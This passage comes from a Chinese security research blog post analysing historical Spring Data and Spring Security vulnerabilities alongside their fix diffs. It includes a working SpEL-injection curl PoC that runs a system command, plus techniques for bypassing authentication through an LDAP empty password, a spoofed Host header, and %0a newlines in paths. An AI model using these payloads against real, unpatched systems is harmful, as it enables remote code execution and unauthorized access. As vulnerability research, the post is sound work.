at org.springframework.web.method.support.InvocableHandlerMethod.getMethodArgumentValues(InvocableHandlerMethod.java:158)
at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:128)
at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:97)

因此该漏洞当时的修复是在解析表达式前先判断 path 是否是目标对象上的合法路径。关于该漏洞的细节、PoC 以及修复可以参考下面的链接:

Spring Data Commons 或者 Spring Data REST 都可以支持 Web 数据绑定对象。当请求数据格式为 XML 时,可以配置为使用 XMLBeam 组件去实现。这个漏洞实际上是 XMLBeam 的 XXE 漏洞,只不过因为 Spring Data 间接依赖了有漏洞的组件才导致被影响。由于不是 Spring Data 本身的问题,这里就不细说了,详情可以参考:

我们在上篇文章 Spring Framework 历史漏洞研究 中说过,对于某些格式的请求处理函数,Spring 框架可以将 HTTP 请求转换为对应的 Bean 对象,这个过程称为对象绑定。绑定对象的过程并不总是那么直观,有的可以在 Spring 框架中完成,有的则是通过自动装配去启用特殊的绑定方法。

以 Spring Data Commons 而言,其中就实现了基于接口的绑定方法 ProxyingHandlerMethodArgumentResolver。例如下面的服务端代码示例:

@RestController
public class VulnerableController {

  private static final Logger LOGGER = LoggerFactory.getLogger(VulnerableController.class);

  interface Account {
    String getName();
  }

  @PostMapping(path = "/account")
  public void doSomething(Account account) {
    LOGGER.info("Account {} received", account.getName());
  }
}

上面将的代码可以将 HTTP 请求绑定到 Account 接口,即动态生成一个 Account 子类并进行实例化。绑定的过程中涉及到 SpEL 代码的解析,我们先看下面的实际调用链路:

@org.springframework.expression.spel.standard.SpelExpression.setValue()
at org.springframework.data.web.MapDataBinder$MapPropertyAccessor.setPropertyValue(MapDataBinder.java:187)
at org.springframework.beans.AbstractPropertyAccessor.setPropertyValue(AbstractPropertyAccessor.java:65)
at org.springframework.beans.AbstractPropertyAccessor.setPropertyValues(AbstractPropertyAccessor.java:95)
at org.springframework.validation.DataBinder.applyPropertyValues(DataBinder.java:860)
at org.springframework.validation.DataBinder.doBind(DataBinder.java:756)
at org.springframework.web.bind.WebDataBinder.doBind(WebDataBinder.java:192)
at org.springframework.validation.DataBinder.bind(DataBinder.java:741)
at org.springframework.data.web.ProxyingHandlerMethodArgumentResolver.createAttribute(ProxyingHandlerMethodArgumentResolver.java:162)
at org.springframework.web.method.annotation.ModelAttributeMethodProcessor.resolveArgument(ModelAttributeMethodProcessor.java:106)
at org.springframework.web.method.support.HandlerMethodArgumentResolverComposite.resolveArgument(HandlerMethodArgumentResolverComposite.java:121)
at org.springframework.web.method.support.InvocableHandlerMethod.getMethodArgumentValues(InvocableHandlerMethod.java:158)
at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:128)
at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:97)
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:827)
at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:738)
at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:85)
at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:967)
at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:901)
at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:970)
at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:872)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:661)
at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:846)
at javax.servlet.http.HttpServlet.service(HttpServlet.java:742)

ProxyingHandlerMethodArgumentResolver 中的 createAttribute 用于将 HTTP 请求转换为目标对象的属性,因此使用的是字典的映射类型 MapDataBinder:

// org/springframework/data/web/ProxyingHandlerMethodArgumentResolver.java
@Override
protected Object createAttribute(String attributeName, MethodParameter parameter, WebDataBinderFactory binderFactory,
    NativeWebRequest request) throws Exception {

  MapDataBinder binder = new MapDataBinder(parameter.getParameterType(), conversionService.getObject());
  binder.bind(new MutablePropertyValues(request.getParameterMap()));

  return proxyFactory.createProjection(parameter.getParameterType(), binder.getTarget());
}

实际设置属性使用的是 MapDataBinder$MapPropertyAccessor,从上面的调用链也可以看出来。其中方法的大致实现如下:

// org/springframework/data/web/MapDataBinder.java
@Override
public void setPropertyValue(String propertyName, @Nullable Object value) throws BeansException {
    StandardEvaluationContext context = new StandardEvaluationContext();
    context.setTypeConverter(new StandardTypeConverter(conversionService));
    context.setRootObject(map);
    // ...
    Expression expression = PARSER.parseExpression(propertyName);
    // ...
    expression.setValue(context, value);
}

主要作用就是使用 SpEL 表达式设置对应的属性值。比如我们可以请求:

curl -XPOST http://localhost:8080/account -d "name=evilpan"

将 Account 属性的 name 设置为 evilpan。如果有子类或者多级数据结构也可以解析。但是这里有个问题是 propertyName 可以被控制的情况下,可能会造成非预期的解析,从而导致任意代码执行。一个执行的 PoC 示例如下:

$ curl -XPOST http://localhost:8080/account -d "name[#this.getClass().forName('java.lang.Runtime').getRuntime().exec('touch /tmp/poc')]=test"
{"timestamp":1682648151754,"status":500,"error":"Internal Server Error","exception":"org.springframework.expression.spel.SpelEvaluationException","message":"EL1001E: Type conversion problem, cannot convert from java.lang.UNIXProcess to java.lang.String","path":"/account"}

针对该漏洞的修复和许多 SpEL 注入的修复类似,就是将 StandardEvaluationContext 替换为 SimpleEvaluationContext,保留解析灵活性的同时也控制了安全性,关键修复代码如下:

diff --git a/src/main/java/org/springframework/data/web/MapDataBinder.java b/src/main/java/org/springframework/data/web/MapDataBinder.java
index 045254a14..3c9af9321 100644
--- a/src/main/java/org/springframework/data/web/MapDataBinder.java
+++ b/src/main/java/org/springframework/data/web/MapDataBinder.java
@@ -176,16 +174,6 @@ class MapDataBinder extends WebDataBinder {
                                throw new NotWritablePropertyException(type, propertyName);
                        }

-                       StandardEvaluationContext context = new StandardEvaluationContext();
-                       context.addPropertyAccessor(new PropertyTraversingMapAccessor(type, conversionService));
-                       context.setTypeConverter(new StandardTypeConverter(conversionService));
-                       context.setTypeLocator(typeName -> {
-                               throw new SpelEvaluationException(SpelMessage.TYPE_NOT_FOUND, typeName);
-                       });
-                       context.setRootObject(map);
-
-                       Expression expression = PARSER.parseExpression(propertyName);
-
                        PropertyPath leafProperty = getPropertyPath(propertyName).getLeafProperty();
                        TypeInformation<?> owningType = leafProperty.getOwningType();
                        TypeInformation<?> propertyType = leafProperty.getTypeInformation();
@@ -213,6 +201,14 @@ class MapDataBinder extends WebDataBinder {
                                value = conversionService.convert(value, TypeDescriptor.forObject(value), typeDescriptor);
                        }

+                       EvaluationContext context = SimpleEvaluationContext //
+                                       .forPropertyAccessors(new PropertyTraversingMapAccessor(type, conversionService)) //
+                                       .withConversionService(conversionService) //
+                                       .withRootObject(map) //
+                                       .build();
+
+                       Expression expression = PARSER.parseExpression(propertyName);
+

关于该漏洞的详细细节、修复过程和 PoC 可以参考下面的链接:

从上面的这些漏洞可以看出,Spring Data 中的漏洞主要出现在数据绑定上。绑定的数据作为 XML 可造成 XXE,作为 SQL 可造成注入,而绑定的数据要是传递到 SpEL 上就可能出现更为严重的 RCE。这部分问题其实最好通过自动化工具去扫描 Source/Sink 的方式挖掘,不过其中许多调用都经过了反射,也许使用动态 Fuzzing 的方式也是一个不错的选择。

Spring Security

在 Web 应用中,用户认证和授权是非常常见的功能,每次让开发者自己造轮子不太合适,而且一不小心就可能出现纰漏。Spring Security 主要就是为了这个场景而诞生的。除了认证和授权,还包含许多与安全相关的功能,比如点击劫持、CSRF 等。

Spring Security 的基本使用还是比较简单的,官方提供了 starter 包 spring-boot-starter-security,如果 Spring Boot 应用检测到 Spring Security 的依赖在 CLASS_PATH 中,会自动针对所有 HTTP 端点(路径)开启 Basic Auth 保护

一般开发者只需要对某些路径进行保护,而且最好把登录凭据保存在 Cookie 会话中。这个功能只需要进行简单的自定义配置,如下所示:

@Configuration
@EnableWebSecurity
public class SecurityConfig {

    @Bean
    public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {
        http
            .authorizeHttpRequests((requests) -> requests
                    .requestMatchers("/", "/index.html").permitAll()
                    .anyRequest().authenticated()
            )
            .formLogin((form) -> form
                    .loginPage("/login")
                    .permitAll()
            )
            .logout(LogoutConfigurer::permitAll);

        return http.build();
    }

    @Bean
    public UserDetailsService userDetailsService() {
        UserDetails user =
                User.withDefaultPasswordEncoder()
                        .username("user")
                        .password("1234")
                        .roles("USER")
                        .build();
        UserDetails admin =
                User.withDefaultPasswordEncoder()
                        .username("admin")
                        .password("1234")
                        .roles("ADMIN", "USER")
                        .build();
        return new InMemoryUserDetailsManager(user, admin);
    }
}

上面的配置指定了 //index.html 请求不需要登录,且注册了两个默认用户 user 和 admin。这里还额外指定了登录接口 /login,可以直接发送 POST 请求进行登录。也可以请求默认的 /logout 进行登出。

对于访问控制而言,比如我们想只允许 ADMIN 角色访问某些后台页面,可以使用类似下面的设置:

 public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {
        http
            .authorizeHttpRequests((authz) -> authz
                .requestMatchers("/api/admin/**").hasRole("ADMIN")
                .requestMatchers("/api/user/**").hasRole("USER")
                .anyRequest().authenticated()
            );
        return http.build();
    }

就和许多 Spring 项目一样,完成同样一件事有很多种方法,Spring Security 也一样。上面只是最最基本的用法,关于 Spring Security 的更多介绍和配置细节可以参考下面的文档:

对于 Web 应用而言,可以说 Spring Security 的实现基础是 Java EE 的 Servlet 架构,即 Filter。回顾一下 Java Web 应用的请求流程,可以简化如下:

Client -> Filter_1 -> Filter_2 -> ... -> Filter_n -> Servlet

客户端的一个 Web 请求会经过多个配置的 Filter,以链式进行顺序处理,所以通常也称为 FilterChain。当前 Filter 处理完后可以选择交接给下一个 Filter,也可以提前结束处理,直接给客户端返回请求。

这种架构很适合用于鉴权,事实上 Spring Security 也确实被注册为其中一个 Filter,实例为 FilterChainProxy。在 Spring Security 的实现中,该 Filter 负责转发到内部多层级的 Filter 内,一般来说每个内部的 Filter 都对应一个路径匹配模式,比如上面的一个 requestMatchers 规则。

认证(Authentication)主要为了解决“你是谁”的问题,最常见的例子就是账号密码认证。在 Spring Security 中,认证的主要接口是 AuthenticationManager:

public interface AuthenticationManager {

  Authentication authenticate(Authentication auth)
    throws AuthenticationException;
}

其中只有一个方法 authenticate,实现方如果认证通过可设置 auth.setAuthenticated(true) 并返回。但通常并不直接实现该类,而是使用 AuthenticationProvider:

public interface AuthenticationProvider {

	Authentication authenticate(Authentication authentication)
			throws AuthenticationException;

	boolean supports(Class<?> authentication);
}

一个 Provider 可以理解为一种认证方案的提供方,比如通过 LDAP 认证、mySQL 认证等。其中额外的 supports 方法表示是否支持某类型的认证,Class 一般是 Authentication 的子类。

Authentication 是用户认证请求的抽象,一般包含以下信息:

  • Authorities: 用户被授予的权限,用于访问控制;
  • Credentials: 认证信息,比如用户密码;
  • Principal: 认证对象,比如用户名;
  • 详细信息(Details)、认证状态(isAuthenticated)等;

前面说 authenticate 方法可以返回一个 Authentication 对象,但也可以返回 null,此时表示当前 Provider 不确定认证结果,交由下一级 Provider 继续校验,因此多个 Provider 也组成了一个级联的逻辑组,这个逻辑组抽象为 ProviderManager

他们之间的关系可以参考下图:

auth.jpg
From: Spring Security Architecture

鉴权(Authorization) 通常也称为访问控制,与认证类似,也有一个关键的管理接口:

public interface AccessDecisionManager {
  void decide(Authentication authentication, Object object, Collection<ConfigAttribute> configAttributes)
        throws AccessDeniedException, InsufficientAuthenticationException;

  boolean supports(ConfigAttribute attribute);

  boolean supports(Class<?> clazz);
}

其中 decide 就是判断请求是否具备访问 object 对象的接口。与 Provider 相对,实际实现访问控制的主体被称为 Voter,即投票者,具体的类为 AccessDecisionVoter

ConfigAttribute 也是一个抽象的属性,表示某种用于鉴权的标签,比如 ADMINUSER 等,它只有一个接口 getAttribute:

public interface ConfigAttribute extends Serializable {
   String getAttribute();
}

getAttribute 仅返回一个字符串,对于普通的权限分隔是足够的,但更常见的是比较复杂的权限判断,这时一般使用 SpEL 来表达权限,比如 isFullyAuthenticated() && hasRole('admin')。通常这类鉴权提供方会拓展实现 SecurityExpressionHandler 等基类去实现相关的接口。

关于 Spring Security 的更多架构细节可以参考 Spring Security Architecture,后文分析历史漏洞的时候会再深入分析相关的部分。

本节主要介绍一些 Spring Security 的历史漏洞。和一般 Spring 项目不同,本项目由于主要用于安全相关的鉴权、认证等操作,即便只是一些代码逻辑错误,也可能会造成认证绕过等安全危害,这点需要注意。

回顾一下 Spring Security 认证的架构,前面说过主要是通过不同的 Provider 提供对接不同后端的认证方式。对于 LDAP 数据库而言,正是 LdapAuthenticationProvider。此外还有许多基于 LDAP 衍生的 Provider,比如 ActiveDirectoryLdapAuthenticationProvider,看名字是和 Windows 域相关的,但这不是重点。

该类的认证和基础的 LDAP 类似,例如,校验用户名密码:

ActiveDirectoryLdapAuthenticationProvider provider = new ActiveDirectoryLdapAuthenticationProvider("evilpan.eu", "ldap://192.168.1.200/");
provider.authenticate(new UsernamePasswordAuthenticationToken("admin", "123456"));

问题在于认证时只检查了密码是否为 null,当 LDAP 的密码为空字符串时,bindUser 会使用匿名账户成功绑定,从而导致前端认为认证通过,相关代码片段如下:

protected DirContextOperations doAuthentication(UsernamePasswordAuthenticationToken auth) {
    String username = auth.getName();
    String password = (String)auth.getCredentials();

    DirContext ctx = bindAsUser(username, password);

    return searchForUser(ctx, username);
}

这个问题的修复也很直观,直接在父类 AbstractLdapAuthenticationProvider 中增加了空字符串的检查:

index 65d7d5425b..f5aff4fa41 100644
--- a/ldap/src/main/java/org/springframework/security/ldap/authentication/AbstractLdapAuthenticationProvider.java
+++ b/ldap/src/main/java/org/springframework/security/ldap/authentication/AbstractLdapAuthenticationProvider.java
@@ -56,6 +70,11 @@ public abstract class AbstractLdapAuthenticationProvider implements Authenticati
                     "Empty Username"));
         }

+        if (!StringUtils.hasLength(password)) {
+            throw new BadCredentialsException(messages.getMessage("AbstractLdapAuthenticationProvider.emptyPassword",
+                    "Empty Password"));
+        }
+
         Assert.notNull(password, "Null password was supplied in authentication token");

当然该漏洞要成功利用的话还需要 LDAP 服务器支持匿名绑定才行。

CAS 全称为 Central Authentication Service,即中央认证服务,其中最为知名的就是 JA-SIG 开源的 CAS 单点登录系统(SSO),见 www.ja-sig.org/cas。CAS 分为 Server 和 Client。其中 Server 是一个 Java Servlet,可以使用 war 部署,主要作用是对用户进行认证,并且对支持 CAS 的应用进行授权,这些支持 CAS 的应用也称为 CAS Client。授权和访问控制的过程也是分发和验证 CAS 票据的过程(CAS 中的票据可以理解为 token)。

当用户登录成功后,会创建 SSO 会话,同时服务端将 TGT(ticket-granting ticket) 返回给用户。然后用户带着 TGT 再次进行访问,此时服务端会将 ST(service ticket) 发送给对应的应用,ST 最终会在 CAS Server 中进行校验。具体的交互过程可以参考 CAS 协议文档。

除了直接进行认证,CAS 还支持通过代理进行认证。代理认证 (Proxy Authentication) 的一个典型使用场景是:

  • 用户直接面对的是 A 应用,该应用使用 CAS 进行保护;
  • A 应用在后端需要使用 S 应用去获取某些数据;
  • S 应用也收到 CAS 保护;

这里解释一下 PGT(Proxy Granting Ticket),该票据可被某个应用用于以用户的身份访问某些受限资源。对于上面的场景就是应用 A 使用用户的 ST 去 CAS 服务器生成对应的 PGT (通过 /proxyValidate),随后 PGT 可被用来生成(针对应用 S 的)代理票据 PT(Proxy Tickets),最终应用 A 使用该 PT 去访问应用 S,对于 S 而言可以当成是合法的用户在请求。

Spring Security 中也提供了对 CAS 的支持,而漏洞就出现在 CAS 代理票据(PT)认证的时候。如果认证的 CAS 应用是个恶意应用,那么就可以欺骗另一个合法的 CAS 应用认为 PT 是正确关联的。

讲起来比较拗口,我们直接看代码。恶意的 CAS 应用会返回认证信息给 Web 服务,这里是 Spring 应用,此时请求通过 Spring Security 进行处理,如下所示:

// org/springframework/security/cas/web/authentication/DefaultServiceAuthenticationDetails.java
DefaultServiceAuthenticationDetails(HttpServletRequest request, Pattern artifactPattern) {
    super(request);
    final String query = getQueryString(request,artifactPattern);
    this.serviceUrl = UrlUtils.buildFullRequestUrl(request.getScheme(),
            request.getServerName(), request.getServerPort(),
            request.getRequestURI(), query);
}

这里会根据请求去组装下一阶段的 URL。代码中的主要问题在于 getServerName 部分,通过查看 Servlet 文档我们发现 getServerName 返回的是 “Host 请求头中 : 之前的名称”,这里误认为是 URL 中的域名,导致 serviceUrl 可以被间接伪造。这意味着如果 Spring 应用中有基于 CAS 应用间信任关系的访问控制,那么这层限制就可能会被绕过。

该漏洞的修复也是直击细节,关键部分如下:

index f404510eaa..41b4201c22 100644
--- a/cas/src/main/java/org/springframework/security/cas/web/authentication/DefaultServiceAuthenticationDetails.java
+++ b/cas/src/main/java/org/springframework/security/cas/web/authentication/DefaultServiceAuthenticationDetails.java
@@ -50,11 +52,13 @@ final class DefaultServiceAuthenticationDetails extends WebAuthenticationDetails
      *            string from containing the artifact name and value. This can
      *            be created using {@link #createArtifactPattern(String)}.
      */
-    DefaultServiceAuthenticationDetails(HttpServletRequest request, Pattern artifactPattern) {
+    DefaultServiceAuthenticationDetails(String casService, HttpServletRequest request, Pattern artifactPattern) throws MalformedURLException {
         super(request);
+        URL casServiceUrl = new URL(casService);
+        int port = getServicePort(casServiceUrl);
         final String query = getQueryString(request,artifactPattern);
-        this.serviceUrl = UrlUtils.buildFullRequestUrl(request.getScheme(),
-                request.getServerName(), request.getServerPort(),
+        this.serviceUrl = UrlUtils.buildFullRequestUrl(casServiceUrl.getProtocol(),
+                casServiceUrl.getHost(), port,
                 request.getRequestURI(), query);
     }

关于 CAS 协议以及该漏洞的细节可以参考下述文档:

早期 Spring Security 的配置还不是使用 requestMatchers,而是使用 antMatchers,比如:

protected void configure(HttpSecurity http) throws Exception {
  http.authorizeRequests()
  .antMatchers("/resources/**", "/signup", "/about").permitAll()      
  .antMatchers("/admin/**").hasRole("ADMIN")                            
  .antMatchers("/db/**").access("hasRole('ADMIN') and hasRole('DBA')")   
  .anyRequest().authenticated.and()
  // ...
  .formLogin();
}

当然 Builder 的形式还是类似的。回忆一下 Spring Security 是在 Filter 中实现的,而 Spring MVC 是 Servlet,二者处于不同的位置,如果 Security 匹配时候没有对路径进行处理而 MVC 进行了处理,就会导致二者实际处理的请求不匹配。这个漏洞就是二者不匹配导致鉴权的绕过。

简单来说,AntPathMatcher 会在匹配前删除路径中的空白字符,导致受保护的路径可以被添加空格的方式进行绕过。当时的缓释方案是将 trimTokens 设置为 false,而修复方案则是直面该类不匹配漏洞的核心,引入了一个新的 MvcRequestMatcher 类,详细信息可以参考下面的链接:

该漏洞也是 Spring Security 的路径匹配和 Spring MVC 不一致的问题,这次是出在 regexMachers 中。例如以下配置:

public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception {
    http
      .authorizeHttpRequests((requests) -> requests
              .mvcMatchers("/", "/index.html").permitAll()
              .regexMatchers("/admin/.*").authenticated()
      )

本意是想要对 /admin/.* 路径进行认证。实现为 RegexRequestMatcher,关键代码如下:

package org.springframework.security.web.util.matcher;
public final class RegexRequestMatcher implements RequestMatcher {
    @Override
  public boolean matches(HttpServletRequest request) {
    String url = request.getServletPath();
    // ...
    return this.pattern.matcher(url).matches();
  }
}

这里使用了 Java 的正则表达式 java.util.regex.Pattern,正则中的点号 . 表示任意单个字符,只不过除了换行符。因此这里的问题在于遇到换行符时候会匹配失败。编写一个简单的测试用例如下:

Pattern pattern = Pattern.compile("/admin/.*", 0);
boolean r = pattern.matcher("/admin/joe\n").matches();
System.out.println("match:" + r);

上面返回 false。由于 HttpServletRequest.getServletPath 是返回 URL 解码之后的路径,因此攻击者可以指定 %0a 或者 %0d 实现鉴权的绕过。

该漏洞的修复官方也没有明说,通过逐个 commit 进行比对发现下面修改可能是漏洞修复的地方:

index 9264b56f21..a334afc736 100644
--- a/web/src/main/java/org/springframework/security/web/util/matcher/RegexRequestMatcher.java
+++ b/web/src/main/java/org/springframework/security/web/util/matcher/RegexRequestMatcher.java
@@ -43,7 +43,9 @@ import org.springframework.util.StringUtils;
  */
 public final class RegexRequestMatcher implements RequestMatcher {

-       private static final int DEFAULT = 0;
+       private static final int DEFAULT = Pattern.DOTALL;
+
+       private static final int CASE_INSENSITIVE = DEFAULT | Pattern.CASE_INSENSITIVE;

        private static final Log logger = LogFactory.getLog(RegexRequestMatcher.class);

@@ -68,7 +70,7 @@ public final class RegexRequestMatcher implements RequestMatcher {
         * {@link Pattern#CASE_INSENSITIVE} flag set.
         */
        public RegexRequestMatcher(String pattern, String httpMethod, boolean caseInsensitive) {
-               this.pattern = Pattern.compile(pattern, caseInsensitive ? Pattern.CASE_INSENSITIVE : DEFAULT);
+               this.pattern = Pattern.compile(pattern, caseInsensitive ? CASE_INSENSITIVE : DEFAULT);
                this.httpMethod = StringUtils.hasText(httpMethod) ? HttpMethod.valueOf(httpMethod) : null;
        }

这里将正则表达式的默认 flag0 改成了 DOTALL,表示点号匹配包括换行符在内的所有字符。通过比对 5.6.3 到 5.6.4 之间的修改,发现还有几处针对这个问题的优化,比如 StrictHttpFirewall 增加了对路径中存在换行符等不可打印字符的过滤等。

这个问题在其他安全组件中也有存在,比如 Apache Shiro 中的 RegExPatternMatcher 也有类似的漏洞 CVE-2022-32532。因此,在审计这类鉴权配置及其实现时,可以重点关注这些 edge case,比如:

  • 正则表达式中点号 . 默认不匹配换行符的情况;
  • URL 中对于 ../ 访问上层路径的解析规则,是否对路径进行归一化处理;
  • URL 中对于分号 ; 的解析规则;
  • URL 编解码的处理是否匹配;
  • Web 框架对于后缀拓展的匹配,比如 /index/index.html/index.htm 都能访问到相同的路由,鉴权框架是否覆盖了这些拓展;

从更宏观的角度来看,这类问题也可以归类为 TOCTOU 问题,即检查时和使用时的对象不一致导致的漏洞,因此这类攻击面也值得去深入研究。

参考链接:

文章写得太长感觉编辑器有点卡了,但发现还有很多漏洞没介绍。这些漏洞正好都是和 OAuth 相关的,所以本节先把他们都压缩到一起做个存档,后续有机会再单独展开分析。

OAuth 可以说是当前最为常见的认证协议,可以实现给三方应用进行用户鉴权/授权的同时不暴露用户的账户密码信息。Spring Security 作为安全框架,自然对 OAuth 提供了支持。除此之外 Spring 还提供了独立的项目作为 OAuth2 和 OpenID 的实现 Spring Authorization Server

Spring Security 中与 OAuth 相关的漏洞有很多,截取其中几个如下所示:

其中 2 个 RCE 都是 SpEL 注入,准确来说是 OAuth 认证过程中进行前端展示时 Whitelable 页面的表达式注入;1 个漏洞是认证的绕过;2 个是开放重定向,这在 OAuth 中也是常见的问题。篇幅原因这里就先不展开了。

总结

本文对 Spring Boot、Spring Data 以及 Spring Security 中的一些关键技术点进行了简单介绍,并各自选取了一些历史漏洞进分析,从漏洞原理和修复代码中又进一步增加了对框架的理解。以史为鉴,也可以为我们后续的漏洞挖掘指引方向。

完整的历史漏洞列表,可以参考:


版权声明: 自由转载-非商用-非衍生-保持署名 (CC 4.0 BY-SA)
原文地址: https://evilpan.com/2023/05/01/spring-projects/
微信订阅: 有价值炮灰
TO BE CONTINUED.